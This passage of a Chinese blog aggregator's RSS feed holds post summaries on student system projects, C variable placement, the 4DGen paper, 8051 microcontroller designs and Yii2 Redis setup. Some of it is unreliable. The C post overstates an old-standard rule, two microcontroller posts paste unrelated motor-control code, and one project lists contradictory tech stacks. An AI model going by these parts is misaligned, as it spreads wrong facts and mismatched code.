      <description>优秀的高校体育馆场地预订系统能够更有效管理体育馆场地预订业务规范，帮助管理者更加有效管理场地的使用，有效提高场地使用效率，可以帮助提高克服人工管理带来的错误等不利因素，所以一个优秀的高校体育馆场地预订系统能够带来很大的作用。语言：Python&#xA;框架：django/flask可以定制&#xA;软件版本：python3.7.7&#xA;数据库：mysql 数据库工具：Navicat&#xA;开发工具pycharm/vscode都可以&#xA;前端框架:vue.js&#xA;（2）框架属于一种程序开发者实现的功能集合，可以帮助软件开发者快速构建软件层次架构和复用功能的一款工具，本平台框架使用了开源框架，具有比较好的开发优势，可以帮助软件开发者快速构建基本的程序开发框架出来，通过调用开源框架开源帮助程序开发者减少开发难度，提升了高校体育馆场地预订系统的安全和稳定性，能够帮助程序开发者完成系统功能模块的开发和数据的处理。&#xA;（3）管理员操作和管理高校体育馆场地预订系统的数据不仅需要框架规范约束还需要满足一定基础的标准，使用MySQL数据库中的约束关系能够根据系统中实体的关系从而生成数据库表，这样在实现系统的时候可以设置系统实体之间的关系[3]。&#xA;本高校体育馆场地预订系统使用了计算机语言nodejs和存放数据的仓库MySQL来实现。本系统使用了框架vue实现了高校体育馆场地预订系统应有的功能，高校体育馆场地预订系统系统的主要角色包括管理员和用户，实现的主要功能包括：管理员：个人中心、用户管理、场地信息管理、类型管理、场地预约管理、商品信息管理、购买订单管理及系统管理。用户：浏览场地信息、场地预约、在线商品的购买及个人信息管理。（1）本次针对高校体育馆场地预订系统提出实现方案，按照软件开发的一般流程进行前期的调研和分析确定软件是否能够正常实现、技术是否可行和系统功能模块的设计开发，最后确定了使用的技术和实现系统的方案。&#xA;随着高校体量的不断增加，学生用户体量逐年增长，但高校体育场馆的保有量有限，当前学生使用学校体育馆场地呈现配比不均衡，易产生矛盾的状况，可以借助计算机网络结合使用信息管理系统，提高管理员的效率，改善体育馆服务质量。该系统将采用B/S结构模式，前端部分主要使用html、css、JavaScript等技术，使用Vue和ElementUI框架搭建前端页面，后端部分将使用Nodejs来搭建服务器，并使用MySQL建立后台数据系统，通过axios完成前后端的交互，开发环境是Windows10操作系统，开发工具为VS Code,因此主要开发语言是JavaScript。&#xA;目 录&#xA;第一章 绪论 1&#xA;1.1 研究背景 1&#xA;1.2 研究意义 1&#xA;1.3 主要内容 1&#xA;第二章 系统技术 3&#xA;2.1 Boostrap框架概述 3&#xA;2.2 Jquery技术概述 3&#xA;2.4 MySQL数据库 3&#xA;2.5 Vue框架 3&#xA;第三章 需求分析 5&#xA;3.1 可行性法分析 5&#xA;3.1.1 技术可行性 5&#xA;3.1.2 经济可行性 5&#xA;3.1.3 社会可行性 5&#xA;3.2 网站功能要求 5&#xA;3.3 性能需求 8&#xA;第四章 系统设计 9&#xA;4.1 系统功能结构 9&#xA;4.2 功能模块 11</description>
    </item>
    <item>
      <title>C语言需要把变量的定义放在{}的开头吗？为什么？</title>
      <link>https://bchobby.github.io/posts/90c90e5fbcfdf4036d412dfbf793fdc5/</link>
      <pubDate>Sat, 30 Dec 2023 16:13:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/90c90e5fbcfdf4036d412dfbf793fdc5/</guid>
      <description>说明1&#xA;在C语言中，变量的定义通常是放在函数体内的块（也就是花括号 {} 内）中。在C语言的函数中，变量的定义必须出现在块的开头，而不是在块的中间或结尾。这是因为在C语言中，变量的定义在编译时会被处理，并在程序执行过程中分配相应的内存空间。&#xA;例如，在一个简单的C函数中，变量的定义可以如下所示：&#xA;#include &amp;lt;stdio.h&amp;gt; int main() { // 变量的定义 int x; char y; // 代码块 { // 可以在代码块中定义新的变量 double z; // ... } // 其他代码 // ... return 0; } 在上面的例子中，int x 和 char y 是在函数体内定义的变量。请注意，变量的定义是按顺序执行的，因此在使用变量之前必须先定义它们。在上述代码中，double z 是在一个额外的代码块内定义的变量，这说明变量的作用域可以限定在特定的块内。&#xA;详细说明2&#xA;在C语言中，变量的定义必须在函数体内的块的开头，而不是在块的中间或结尾。这与C语言的编译和执行过程有关，涉及到程序的编译单元、作用域和生命周期的概念。&#xA;编译单元： C语言的程序通常是由一个或多个源文件组成的，每个源文件被称为编译单元。在编译单元级别，C编译器需要在编译时了解所有变量的类型和大小，以便正确地分配内存和生成有效的机器代码。&#xA;作用域： 在C语言中，变量有不同的作用域。作用域是指变量在程序中可见的范围。将变量的定义放在块的开头有助于明确定义变量的作用域，并确保在整个块中都可以访问变量。&#xA;生命周期： 变量的生命周期是指变量存在的时间范围。在C语言中，局部变量的生命周期与其作用域相对应。将变量的定义放在块的开头有助于确保变量在其作用域内正确地创建和销毁。&#xA;考虑以下代码片段：&#xA;#include &amp;lt;stdio.h&amp;gt; int main() { // 在块中间定义变量（这是非法的） int x; // 这行代码必须放在块的开头 // 一些其他代码 // 在块的结尾使用变量 x = 10; return 0; } 如果将变量 int x; 放在块的中间或结尾，编译器将无法在整个块的编译过程中正确了解变量 x 的类型和大小，从而导致编译错误。因此，为了编译器能够正确地理解和处理变量，变量的定义通常需要在块的开头。</description>
    </item>
    <item>
      <title>python企业车辆车货信息平台 s05fw</title>
      <link>https://bchobby.github.io/posts/90a9789232d1ce176dd332cd71d5d18f/</link>
      <pubDate>Sat, 30 Dec 2023 16:13:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/90a9789232d1ce176dd332cd71d5d18f/</guid>
      <description>车货信息平台系统可具体分为货源方、平台方、承运方三部分。其中前端要求包含货源方：发布货源信息、选择承运方、司机服务评价；平台方：账户管理、货主、司机资质审核、聊天功能；承运方：车辆信息上传、个人车主发布车源、配货部自有车源、货源浏览与查询、同城包车、专线直达等功能界面。后端主要包括对车辆的管理调度、数据的管理（线路、货源分析）、货源和车源的储存、用户信息的储存等一些需要的数据。&#xA;语言：Python&#xA;框架：django/flask可以定制&#xA;软件版本：python3.7.7&#xA;数据库：mysql 数据库工具：Navicat&#xA;开发工具pycharm/vscode都可以&#xA;前端框架:vue.js&#xA;在物流运输行业飞速发展的今天，针对当前的货源信息紧缺、运输车辆过剩而运输资源又浪费的情况，本文提出并设计了一套基于django的车货信息平台系统。一方面及时实现货物与车辆的匹配，大大减少了货物寻找车辆和司机寻找货物的时间；另一方面通过降低长途货运车辆的空驶率，来减少货车的平均运货时间，以此来达到降低企业成本和人力资源成本的目的。本系统主要分为货源方、平台方和承运方来实现货源与运力匹配、车辆调度、数据管理、财务管理、用户管理、在线评价等功能。&#xA;基于python语言设计并实现了车货信息平台。该系统基于B/S即所谓浏览器/服务器模式，应用python技术，选择MySQL作为后台数据库。系统主要包括个人中心、货源方管理、承运方管理、司机资质管理、车辆信息管理、车源信息管理、货源信息管理、管理员管理等功能模块。&#xA;本系统主要分为货源方、平台方和承运方来实现货源与运力匹配、车辆调度、数据管理、财务管理、用户管理、在线评价等功能。&#xA;本系统设计的目的是针对当前货源信息紧俏而车辆信息又过剩的情况，本系统通过python开发语言，MySQL数据库等技术，利用信息技术，通过实体物流资源与虚拟网络的有效结合以及协同化、信息化、资源共享等形式的创新运作方式，本系统主要通过线上发布车源信息和货源信息的功能来实现轻资产运营，提高工作效率，降低了企业规模扩张的成本，以达到多方利益共存的目的。&#xA;车货信息平台系统可具体分为货源方、平台方、承运方三部分。其中前端要求包含货源方：发布货源信息、选择承运方、司机服务评价；平台方：账户管理、货主、司机资质审核、聊天功能；承运方：车辆信息上传、个人车主发布车源、配货部自有车源、货源浏览与查询、同城包车、专线直达等功能界面。后端主要包括对车辆的管理调度、数据的管理（线路、货源分析）、货源和车源的储存、用户信息的储存等一些需要的数据。&#xA;具备的条件&#xA;1）硬件设备：PC机；&#xA;2）软件设备：Visual Studio Code，MySQL，HBuilder，Maven；&#xA;3）有基本python语言编程、Vue、SQL基础；&#xA;4）学校图书馆资料供参考。&#xA;2．待解决的问题&#xA;1）接货发货时数据更新不及时；&#xA;2）车源货源信息数据在储存过程中偶尔会出现数据丢失；&#xA;3）车源查询时数据库数据无法获取；&#xA;3．拟采取的研究方法&#xA;1）信息研究法；&#xA;通过对调研的信息以及多次试验所得的信息进行加工和整理处理，应用于实践。主要用于前期系统建模时通过查询多方面的资料来完成。&#xA;2）经验总结法；&#xA;通过对实践中的具体情况，进行归纳与分析，使之系统化。主要用于设计过程中针对出现的问题总结经验并解决。&#xA;目 录&#xA;第一章 概述 1&#xA;1.1 课题背景 1&#xA;1.2 选题的目的与意义 1&#xA;1.3 初步设计方法与实施方案 2&#xA;1.4 本文研究内容 2&#xA;第二章 开发技术介绍 3&#xA;2.1 B/S架构 3&#xA;2.2 Mysql介绍 3&#xA;2.3 MySQL环境配置 3&#xA;2.4 python语言 4&#xA;第三章 系统分析 6&#xA;3.1 可行性分析 6&#xA;3.1.1 技术可行性 6</description>
    </item>
    <item>
      <title>开源 4D 生成框架 | 4DGen: 基于动态 3D 高斯的可控 4D 生成</title>
      <link>https://bchobby.github.io/posts/ee1b1f9fbec5a6875897727dc71c3743/</link>
      <pubDate>Sat, 30 Dec 2023 16:10:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ee1b1f9fbec5a6875897727dc71c3743/</guid>
      <description>关注公众号，发现CV技术之美&#xA;本文分享4D生成方向新工作，由北京交通大学和得克萨斯大学奥斯汀分校共同完成的4DGen: Grounded 4D Content Generation with Spatial-temporal Consistency，文章使用Gaussian Splatting实现了高质量的4D生成。&#xA;文章主页：https://vita-group.github.io/4DGen/&#xA;论文地址：https://arxiv.org/abs/2312.17225&#xA;开源代码：https://github.com/VITA-Group/4DGen&#xA;视频&#xA;研究背景 尽管3D和视频生成取得了飞速的发展，由于缺少高质量的4D数据集，4D生成始终面临着巨大的挑战。过去几篇工作尝试了Text-To-4D的任务，但依然存在两个主要问题：&#xA;由于输入依赖于单视角的图片或者简单的文本描述，并不能保证得到精准的4D结果，需要花费大量的时间进行反复调整。&#xA;尽管采用了Hexplane作为4D的表征，基于NeRF的方法在高分辨率和长视频上的渲染所需要的计算时间和显存占用是难以接受的。即使采用了一个超分辨的后处理网络，依然会有模糊和闪烁的结果。&#xA;为了解决上述问题，4DGen定义了“Grounded 4D Generation“新型任务形式，并且设计了新的算法框架实现高质量的4D内容生成。&#xA;任务定义 过往的4D生成工作是“one click“的方式，并不能对生成的结果进行有效的控制。4DGen提出了“Grounded 4D Generation“的形式，通过利用视频序列和可选的3D模型作为4D生成的控制信息，可以实现更为精准的4D内容生成。用户可通过输入视频序列或3D模型来约束4D结果的运动和外观；当用户仅提供单张图片作为输入时，可借助预训练好的视频生成模型来得到视频序列；当用户未提供3D模型时，可通过单张图片重建3D模型来作为起始点。&#xA;方法介绍 4DGen框架的输入起始点为用户给定或者模型生成的视频序列，对于任意的单张图片，借助多视角生成模型（multi-view diffusion model），可以得到不同视角的图片。4DGen通过对第一帧多视图进行三维重建，得到初始的静态3D Gaussians作为4D生成的起始点。&#xA;由于4D数据的匮乏，需要尽可能的从先验模型中蒸馏信息。4DGen将每一帧生成的多视图作为2D伪标签，并且采用多视图生成的点云作为3D点的伪标签来监督训练过程。&#xA;因为多视图生成具有ill-posed的特点，得到的伪标签在不同视角之间，不同时序之间存在不连续性，需要引入时间和空间上的一致性损失函数进行约束。相较于拟合多视图DDIM采样得到的图片，score distillation sampling（SDS）是根据先验的扩散模型对场景表达进行似然估计。4DGen依据正面视角计算任意视角图片在Zero123模型上的SDS损失，用于提升空间上的连续性。&#xA;为了缓解闪烁问题，4DGen引入了无监督的时间平滑约束。通过计算平面的平滑损失和Gaussians不同时刻的平滑损失，有效提升了时间上的一致性。&#xA;实施细节 4DGen的 4D表达采用了4D Gaussian Spaltting的方式，通过一个多分辨率Hexplane对每个Gaussian进行编码。将6个时空平面的特征进行相加，并经过一个额外的MLP解码得到对应Gaussian在不同时刻的位置偏移量。训练上采用三阶段方式，第一阶段对场景进行静态建模，第二阶段利用2D和3D的伪标签进行动态场景的初步建模，第三建模利用平滑损失增强模型的细节和连续性。&#xA;所有实验可以在一张RTX3090上完成，对于2.5万个Gaussians只需45分钟的训练，对于9万个Gaussians训练2小时可以得到更加好的细节效果。&#xA;实验结果 4DGen可以实现不同视角、不同时间的高质量图片渲染。相较于对比方法在细节表达、噪声去除、颜色还原、时空连续性等方面有显著提升。更多视觉效果可以参考项目主页。&#xA;量化对比上，4DGen采用了不同时序图片和参考图片的CLIP距离来衡量生成质量，采用CLIP-T衡量不同时间下的图像连续性。4DGen在多项指标上明显优于过往方法。&#xA;总结 4DGen定义了” Grounded 4D Generation“的任务形式，通过视频序列和可选3D模型的引入提升了4D生成的可控性。通过高效的4D Gaussian Splatting的表达，2D和3D伪标签的监督和时空的连续性约束，使得4DGen可以实现高分辨率、长时序的高质量的4D内容生成。&#xA;END&#xA;欢迎加入「4D Generation」交流群👇备注：生成</description>
    </item>
    <item>
      <title>python&#43;django大自然环境保护宣传网站62r9b</title>
      <link>https://bchobby.github.io/posts/3c97f1cabf1e2f818524436f7e3aa2f1/</link>
      <pubDate>Sat, 30 Dec 2023 16:09:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3c97f1cabf1e2f818524436f7e3aa2f1/</guid>
      <description>本课题使用Python语言进行开发。基于web,代码层面的操作主要在PyCharm中进行，将系统所使用到的表以及数据存储到MySQL数据库中&#xA;本系统由后台管理子系统，登录子系统，按登陆角色及权限划分为管理员:个人中心，用户管理，文章分类管理，文章信息管理，公告信息管理，在线留言，系统管理。用户:文章信息查看，公告信息查看，大自然资讯查看，在线留言，个人中心，文章信息管理，我的收藏管理。&#xA;技术栈&#xA;后端：python+django&#xA;前端：vue.js+elementui&#xA;框架：django/flask&#xA;Python版本：python3.7+&#xA;数据库：mysql5.7&#xA;数据库工具：Navicat&#xA;开发软件：PyCharm .&#xA;建立的保护大自然网站用户使用浏览器就可以对其进行访问，管理员在操作上面能够方便管理，因此用户和管理员能够方便对这个系统进行操作。&#xA;介绍了保护大自然网站就是为了给人们宣传保护大自然重要性的内容平台。本系统的功能有管理员：个人中心，用户管理，文章分类管理，文章信息管理，公告信息管理，在线留言，系统管理。用户:文章信息查看，公告信息查看，大自然资讯查看，在线留言，个人中心，文章信息管理，我的收藏管理。&#xA;思路： （1）资料收集：查询相关资料，了解系统的研究意义，上网搜索或者去图书馆查阅相关资料。&#xA;（2）需求分析：通过查询资料了解该系统要如何做以及要做那些东西。&#xA;（3）系统设计：对数据库进行分析，设计好数据库，画出模块图。对每个功能模块进行细化，将每一步想清楚并制定出每一步的做法和注意的地方。&#xA;（4）系统实现：进行程序的编码，并在编码时对程序进行初步调试。&#xA;（5）系统测试：对设计好的程序进行最终调试，通过调试发现存在的问题并解决，从而达到完善系统的目的。&#xA;（6）完善系统：对调试好的系统进行美化，比如用Photoshop对图片进行处理。当然，在研究过程中也可以直接调查，对调查搜集到的资料进行综合分析、比较，调查法是科学研究中普遍的研究方法。&#xA;目 录&#xA;摘要 I&#xA;ABSTRACT II&#xA;第一章 引 言 5&#xA;1.1 课题背景 5&#xA;1.2 国内外趋势 5&#xA;1.3 研究内容和目的 5&#xA;第二章 相关技术的介绍 6&#xA;2.2 Ajax技术简介 6&#xA;2.4 MySQL简介 7&#xA;第三章 系统需求分析 8&#xA;3.1 系统的设计模式 8&#xA;3.2 系统的设计目标 8&#xA;3.3 系统规划 8&#xA;3.4 经济可行性研究 9&#xA;3.5 技术可行性研究 9&#xA;3.6 操作可行性研究 9</description>
    </item>
    <item>
      <title>基于51单片机的电子万年历设计与实现</title>
      <link>https://bchobby.github.io/posts/c0efafab20059e9cff67fb3a2d7689de/</link>
      <pubDate>Sat, 30 Dec 2023 16:05:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c0efafab20059e9cff67fb3a2d7689de/</guid>
      <description>一、摘要 随着科技的不断发展，人们对于时间的需求越来越高，电子万年历作为一种实用的时间显示设备，已经成为了人们生活中不可或缺的一部分。本文主要介绍了一种基于单片机的电子万年历设计与实现方法。该系统采用AT89S52单片机作为控制核心，通过外部时钟模块获取实时时间信息，并通过液晶显示器进行显示。同时，本文还对系统的硬件设计和软件设计进行了详细的介绍。&#xA;二、引言 电子万年历是一种能够显示年、月、日、时、分、秒等信息的时间显示设备，具有实用性强、操作方便等特点。传统的电子万年历通常采用数码管或液晶显示器进行显示，但这类系统的成本较高，且受环境影响较大。因此，研究一种基于单片机的低成本、高性能的电子万年历具有很大的实际意义。&#xA;三、系统设计 1. 系统总体设计&#xA;本设计采用AT89S52单片机作为控制核心，通过外部时钟模块获取实时时间信息，并通过液晶显示器进行显示。系统主要包括以下几个部分：AT89S52单片机、外部时钟模块、液晶显示器和按键模块。&#xA;2. 硬件设计&#xA;(1) AT89S52单片机：本设计采用AT89S52单片机作为控制核心，负责对外部时钟模块采集的数据进行处理，并根据处理结果控制液晶显示器的工作。&#xA;(2) 外部时钟模块：本设计采用DS1302时钟芯片作为外部时钟模块，将实时时间信息传输给单片机进行处理。&#xA;(3) 液晶显示器：本设计采用1602液晶显示器作为显示设备，用于显示年、月、日、时、分、秒等信息。&#xA;(4) 按键模块：本设计采用矩阵键盘作为按键模块，用于设置时间和调整显示模式。&#xA;3. 软件设计&#xA;本设计的软件主要包括以下几个模块：主程序模块、外部时钟数据处理模块、液晶显示模块和按键处理模块。主程序模块负责整个系统的初始化和运行；外部时钟数据处理模块负责对外部时钟模块采集的数据进行处理；液晶显示模块根据处理后的数据制定控制策略；按键处理模块负责处理按键模块输入的信号。&#xA;四、实验与分析 为了验证本设计的可行性和有效性，我们进行了实验测试。实验结果表明，本设计能够实时获取外部时钟模块采集的时间信息，并通过液晶显示器进行显示，实现了电子万年历的功能。同时，本设计具有较高的稳定性和可靠性，能够满足电子万年历的需求。&#xA;#include &amp;lt;reg52.h&amp;gt; #include &amp;lt;intrins.h&amp;gt; typedef unsigned char uchar; typedef unsigned int uint; sbit IN1 = P1^0; // 电机驱动接口1 sbit IN2 = P1^1; // 电机驱动接口2 sbit IR = P3^2; // 红外传感器接口 uchar code table[] = {&#34;站点A&#34;, &#34;站点B&#34;, &#34;站点C&#34;, &#34;站点D&#34;, &#34;站点E&#34;}; // 预设站点信息 uchar index = 0; // 当前站点索引 void delay(uint z) { uint x, y; for (x = z; x &amp;gt; 0; x--) for (y = 110; y &amp;gt; 0; y--); } void main() { uchar i; while (1) { IN1 = 1; // 设置电机驱动接口1为高电平 IN2 = 0; // 设置电机驱动接口2为低电平 if (IR == 0) // 如果红外传感器检测到黑线 { index++; // 更新当前站点索引 if (index &amp;gt;= sizeof(table)) // 如果到达最后一个站点 index = 0; // 重置站点索引 delay(1000); // 延时1秒 } else { delay(500); // 延时0.</description>
    </item>
    <item>
      <title>【Yii2】使用Redis</title>
      <link>https://bchobby.github.io/posts/6d1d55ec0a92eb52ab44d50751ba6654/</link>
      <pubDate>Sat, 30 Dec 2023 16:04:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6d1d55ec0a92eb52ab44d50751ba6654/</guid>
      <description>在 Yii2 中使用 Redis 非常简单。首先，确保您已经安装了 Redis 扩展，并在 common/config/main-local.php 文件中配置了 Redis 组件：&#xA;return [ // ... &#39;components&#39; =&amp;gt; [ // ... &#39;redis&#39; =&amp;gt; [ &#39;class&#39; =&amp;gt; &#39;yii\redis\Connection&#39;, &#39;hostname&#39; =&amp;gt; &#39;localhost&#39;, &#39;port&#39; =&amp;gt; 6379, &#39;database&#39; =&amp;gt; 0, ], // ... ], // ... ]; 然后，您可以在 Yii2 应用程序中使用 Redis 来存储和检索数据。&#xA;一下是两种连接方式：&#xA;1.Redis::getRedisInstance()-&amp;gt;getRedisConn(); 这种方法来自 common\components\Redis 类。它是一个自定义的 Redis 组件，通常在 common\config\main-local.php 文件中配置。这个组件提供了一些额外的功能，例如自动重连、记录日志等。使用这种方法获取 Redis 缓存连接实例时，您将获得一个封装了 Redis 连接的对象，该对象提供了一些额外的方法，例如 getRedisConn()。 //使用助手函数 use common\helpers\Redis; Redis::getRedisInstance()-&amp;gt;getRedisConn(); 2.Yii::$app-&amp;gt;redis; 这种方法是通过 Yii2 的依赖注入容器获取 Redis 缓存组件的实例。默认情况下，Yii2 不包含自定义的 Redis 组件，因此您需要在 common\config\main-local.</description>
    </item>
    <item>
      <title>基于单片机的公交车站自动报站器设计与实现</title>
      <link>https://bchobby.github.io/posts/59bd40257adcd505333a5519ea8df7ea/</link>
      <pubDate>Sat, 30 Dec 2023 16:04:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/59bd40257adcd505333a5519ea8df7ea/</guid>
      <description>一、摘要 随着城市交通的快速发展，公交车作为城市公共交通的主要工具，其便捷性和高效性得到了广泛的认可。然而，由于公交车站的广播系统存在一定的局限性，如人工报站容易出现失误、音量大小不一等问题，给乘客带来了不便。为了解决这些问题，本文设计了一种基于单片机的公交车站自动报站器。该系统采用AT89S52单片机作为控制核心，通过GPS模块获取当前位置信息，根据预设的站点信息自动报站，并通过语音播报模块进行语音播报。同时，本文还对系统的硬件设计和软件设计进行了详细的介绍。&#xA;二、引言 公交车站自动报站器是一种能够根据公交车的位置信息自动播报站点信息的设备，它可以帮助乘客更好地了解公交车的行驶路线和到站情况，提高乘车体验。传统的公交车站自动报站器通常采用GPS模块和语音播报模块实现，但这类系统的成本较高，且受环境影响较大。因此，研究一种基于单片机的低成本、高性能的公交车站自动报站器具有很大的实际意义。&#xA;三、系统设计 1. 系统总体设计&#xA;本设计采用AT89S52单片机作为控制核心，通过GPS模块获取当前位置信息，根据预设的站点信息自动报站，并通过语音播报模块进行语音播报。系统主要包括以下几个部分：AT89S52单片机、GPS模块、语音播报模块和显示模块。&#xA;2. 硬件设计&#xA;(1) AT89S52单片机：本设计采用AT89S52单片机作为控制核心，负责对GPS模块采集的数据进行处理，并根据处理结果控制语音播报模块的工作。&#xA;(2) GPS模块：本设计采用GPS模块获取当前位置信息，将获取到的位置信息传输给单片机进行处理。&#xA;(3) 语音播报模块：本设计采用语音播报模块进行语音播报，将单片机处理后的站点信息转换为语音信号并输出。&#xA;(4) 显示模块：本设计采用液晶显示器作为显示设备，用于显示公交车的行驶路线和到站情况。&#xA;3. 软件设计&#xA;本设计的软件主要包括以下几个模块：主程序模块、GPS数据处理模块、语音播报模块和显示模块。主程序模块负责整个系统的初始化和运行；GPS数据处理模块负责对GPS模块采集的数据进行处理；语音播报模块根据处理后的数据制定控制策略；显示模块负责显示公交车的行驶路线和到站情况。&#xA;四、实验与分析 为了验证本设计的可行性和有效性，我们进行了实验测试。实验结果表明，本设计能够实时获取GPS模块采集的位置信息，并根据预设的站点信息自动报站，实现了公交车站自动报站的功能。同时，本设计具有较高的稳定性和可靠性，能够满足公交车站自动报站器的需求。&#xA;#include &amp;lt;reg52.h&amp;gt; #include &amp;lt;intrins.h&amp;gt; typedef unsigned char uchar; typedef unsigned int uint; sbit IN1 = P1^0; // 电机驱动接口1 sbit IN2 = P1^1; // 电机驱动接口2 sbit IR = P3^2; // 红外传感器接口 uchar code table[] = {&#34;站点A&#34;, &#34;站点B&#34;, &#34;站点C&#34;, &#34;站点D&#34;, &#34;站点E&#34;}; // 预设站点信息 uchar index = 0; // 当前站点索引 void delay(uint z) { uint x, y; for (x = z; x &amp;gt; 0; x--) for (y = 110; y &amp;gt; 0; y--); } void main() { uchar i; while (1) { IN1 = 1; // 设置电机驱动接口1为高电平 IN2 = 0; // 设置电机驱动接口2为低电平 if (IR == 0) // 如果红外传感器检测到黑线 { index++; // 更新当前站点索引 if (index &amp;gt;= sizeof(table)) // 如果到达最后一个站点 index = 0; // 重置站点索引 delay(1000); // 延时1秒 } else { delay(500); // 延时0.</description>
    </item>
    <item>
      <title>基于51单片机的智能车寻迹系统设计与实现</title>
      <link>https://bchobby.github.io/posts/d9ad3cc812c90d51f43d126407013695/</link>
      <pubDate>Sat, 30 Dec 2023 16:01:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d9ad3cc812c90d51f43d126407013695/</guid>
      <description>一、摘要 随着科技的不断发展，智能车在人们生活中的应用越来越广泛。智能车寻迹系统是智能车的一个重要组成部分，它能够使智能车在各种复杂环境中自动识别并沿着预定的轨迹行驶。本文主要介绍了一种基于单片机的智能车寻迹系统的设计与实现方法。该系统采用AT89S52单片机作为控制核心，通过红外传感器检测道路两侧的黑线，根据检测结果对智能车的行驶方向进行调整，实现智能车的自动寻迹功能。同时，本文还对系统的硬件设计和软件设计进行了详细的介绍。&#xA;二、引言 智能车寻迹系统是智能车的一个重要组成部分，它能够使智能车在各种复杂环境中自动识别并沿着预定的轨迹行驶。传统的智能车寻迹系统通常采用光电传感器或者摄像头进行道路检测，但这类系统的成本较高，且受环境影响较大。因此，研究一种基于单片机的低成本、高性能的智能车寻迹系统具有很大的实际意义。&#xA;三、系统设计 1. 系统总体设计&#xA;本设计采用AT89S52单片机作为控制核心，通过红外传感器检测道路两侧的黑线，根据检测结果对智能车的行驶方向进行调整，实现智能车的自动寻迹功能。系统主要包括以下几个部分：AT89S52单片机、红外传感器模块、电机驱动模块和显示模块。&#xA;2. 硬件设计&#xA;(1) AT89S52单片机：本设计采用AT89S52单片机作为控制核心，负责对红外传感器采集的数据进行处理，并根据处理结果控制电机驱动模块的工作。&#xA;(2) 红外传感器模块：本设计采用红外传感器检测道路两侧的黑线，将检测到的信号转换为电信号并传输给单片机进行处理。&#xA;(3) 电机驱动模块：本设计采用L298N电机驱动芯片驱动智能车的左右两个轮子，实现对智能车行驶方向的控制。&#xA;(4) 显示模块：本设计采用1602液晶显示器作为显示设备，用于显示智能车的行驶状态信息。&#xA;3. 软件设计&#xA;本设计的软件主要包括以下几个模块：主程序模块、红外传感器数据采集模块、电机控制模块和显示模块。主程序模块负责整个系统的初始化和运行；红外传感器数据采集模块负责对红外传感器采集的数据进行处理；电机控制模块根据处理后的数据制定控制策略；显示模块负责显示智能车的行驶状态信息。&#xA;四、实验与分析 为了验证本设计的可行性和有效性，我们进行了实验测试。实验结果表明，本设计能够实时采集红外传感器检测到的道路黑线信息，并根据检测结果对智能车的行驶方向进行调整，实现了智能车的自动寻迹功能。同时，本设计具有较高的稳定性和可靠性，能够满足智能车寻迹系统的需求。&#xA;部分代码：&#xA;#include &amp;lt;reg52.h&amp;gt; sbit IN1 = P1^0; // 电机驱动接口1 sbit IN2 = P1^1; // 电机驱动接口2 sbit IR = P3^2; // 红外传感器接口 void delay(unsigned int t) // 延时函数 { while (t--); } void main() { IN1 = 1; // 设置电机驱动接口1为高电平 IN2 = 0; // 设置电机驱动接口2为低电平 while (1) { if (IR == 0) // 如果红外传感器检测到黑线 { IN1 = 1; // 设置电机驱动接口1为高电平 IN2 = 0; // 设置电机驱动接口2为低电平 } else { IN1 = 0; // 设置电机驱动接口1为低电平 IN2 = 1; // 设置电机驱动接口2为高电平 } delay(1000); // 延时1秒 } } 全部资料私 （免费领取）</description>
    </item>
    <item>
      <title>python&#43;django游戏分享论坛网站49c2c</title>
      <link>https://bchobby.github.io/posts/17797b131308c3a9e8bd6536dfbc59ec/</link>
      <pubDate>Sat, 30 Dec 2023 15:55:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/17797b131308c3a9e8bd6536dfbc59ec/</guid>
      <description>本系统主要包括管理员和用户两个角色组成；主要包括首页、个人中心、用户管理、游戏类型管理、游戏文章管理、交流论坛、系统管理等功能的管理系统。&#xA;系统权限按管理员和用户两类涉及用户划分。&#xA;（1）管理员功能需求&#xA;管理员登陆后，主要包括首页、个人中心、用户管理、游戏类型管理、游戏文章管理、交流论坛、系统管理等功能&#xA;（2）用户功能需求&#xA;用户登陆后，主要包括首页、个人中心、游戏文章管理、我的收藏管理等功能&#xA;本课题使用Python语言进行开发。基于web,代码层面的操作主要在PyCharm中进行，将系统所使用到的表以及数据存储到MySQL数据库中&#xA;技术栈&#xA;后端：python+django&#xA;前端：vue.js+elementui&#xA;框架：django/flask&#xA;Python版本：python3.7+&#xA;数据库：mysql5.7&#xA;数据库工具：Navicat&#xA;开发软件：PyCharm .&#xA;本论坛是一个面向爱好游戏的玩家提供一个交流分享游戏攻略、视频、图片以及娱乐互动,让游戏玩家展示自己最真实的心声!论坛提供注册、登陆、发帖、回复、搜索等功能。用户可以利用论坛&#xA;进行网上约伴、分享装备属性及其获得方法，进行账号交易等，为游戏玩家提供各种便利服务。本论坛的功能是构建一个网络游戏的社交互动网站，提供一个平台，针对不同领域中的问题使玩家在这其中进行交流问答。玩家可以选择自己感兴趣的领域（如：角色、任务、装备属性、副本技巧等）查看到相关问题以及其回答，同时玩家还可以回答相关问题，并且也可以进行相关的提问。&#xA;游戏分享的需求和管理上的不断提升，游戏分享管理的潜力将无限扩大，游戏分享网站在业界被广泛关注，本系统及对此进行总体分析，将游戏分享信息管理的发展提供参考。游戏分享网站对游戏分享有着明显的带动效应，尤其对管理者的管理帮助更大。&#xA;功能介绍&#xA;目录&#xA;1 绪论 1&#xA;1.1课题背景 1&#xA;1.2课题研究现状 1&#xA;1.3初步设计方法与实施方案 2&#xA;1.4本文研究内容 2&#xA;2 系统开发环境 4&#xA;3 系统分析 6&#xA;3.1系统可行性分析 6&#xA;3.1.1经济可行性 6&#xA;3.1.2技术可行性 6&#xA;3.1.3运行可行性 6&#xA;3.2系统现状分析 6&#xA;3.3功能需求分析 7&#xA;3.4系统设计规则与运行环境 8&#xA;3.5系统流程分析 8&#xA;3.5.1操作流程 8&#xA;3.5.2添加信息流程 9&#xA;3.5.3删除信息流程 10&#xA;4 系统设计 11&#xA;4.1系统设计主要功能 11&#xA;4.2数据库设计 11&#xA;4.2.1数据库设计规范 11</description>
    </item>
    <item>
      <title>苦修ES（Elasticsearch），阿里、百度等大厂都向我递来了意向书</title>
      <link>https://bchobby.github.io/posts/01f697648d41867da14f1148fb4666bb/</link>
      <pubDate>Sat, 30 Dec 2023 15:52:49 +0800</pubDate>
